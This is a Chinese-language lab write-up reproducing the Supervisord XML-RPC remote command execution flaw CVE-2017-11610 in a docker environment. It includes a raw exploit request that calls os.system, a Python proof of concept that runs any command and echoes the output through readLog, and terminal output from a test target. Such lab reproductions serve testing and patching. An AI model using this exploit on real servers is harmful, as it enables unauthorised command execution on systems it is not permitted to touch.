Supervisord 远程命令执行漏洞(CVE-2017-11610)
Supervisord是一款Python开发,用于管理后台应用(服务)的工具,其角色类似于Linux自带的Systemd。
它相比Systemd有几个特点:
配置比较简单 一个简单的第三方应用,与系统没有耦合 提供HTTP API,支持远程操作
Supervisord的架构分为Server和Client,Server以一个服务的形式,跑在系统后台,而Client是一个命令行工具,其实就是根据用户的要求,调用Server提供的API,执行一些工作。
运行环境
docker-compose build
出现下列才算成功
Successfully built ea413f911658 Successfully tagged cve-2017-11610_web:latest
docker-compose up -d
环境启动后,访问http://your-ip:9001
即可查看Supervisord的页面。
漏洞测试
进行修改直接执行任意命令:
POST /RPC2 HTTP/1.1 Host: 127.0.0.1:9001 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: */* Accept-Language: en Accept-Encoding: gzip, deflate Connection: close Cookie: hblid=OCkAkPEOWHj8QX5o3m39N0H02BOA0I12; olfsk=olfsk8528760320823083; ECS[visit_times]=1 Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache Content-Length: 215 <?xml version="1.0"?> <methodCall> <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName> <params> <param> <string>touch /tmp/success</string> </param> </params> </methodCall>
关于直接回显的POC
@Ricter 在微博上提出的一个思路,就是将命令执行的结果写入log文件中,再调用Supervisord自带的readLog方法读取log文件,将结果读出来。
#!/usr/bin/env python3 import xmlrpc.client import sys target = sys.argv[1] command = sys.argv[2] with xmlrpc.client.ServerProxy(target) as proxy: old = getattr(proxy, 'supervisor.readLog')(0,0) logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')() getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile)) result = getattr(proxy, 'supervisor.readLog')(0,0) print(result[len(old):])
使用Python3执行并获取结果:./poc.py "http://your-ip:9001/RPC2" "command"
:
(guiltyfet㉿guiltyfet)-[~/桌面] └─$ python3 2017-11610.py "http://192.168.80.131:9001/RPC2" "id" uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) ┌──(guiltyfet㉿guiltyfet)-[~/桌面] └─$ python3 2017-11610.py "http://192.168.80.131:9001/RPC2" "uname -a" Linux bef681518e5c 5.10.0-kali7-amd64 #1 SMP Debian 5.10.28-1kali1 (2021-04-12) x86_64 GNU/Linux ┌──(guiltyfet㉿guiltyfet)-[~/桌面] └─$ python3 2017-11610.py "http://192.168.80.131:9001/RPC2" "ip addr"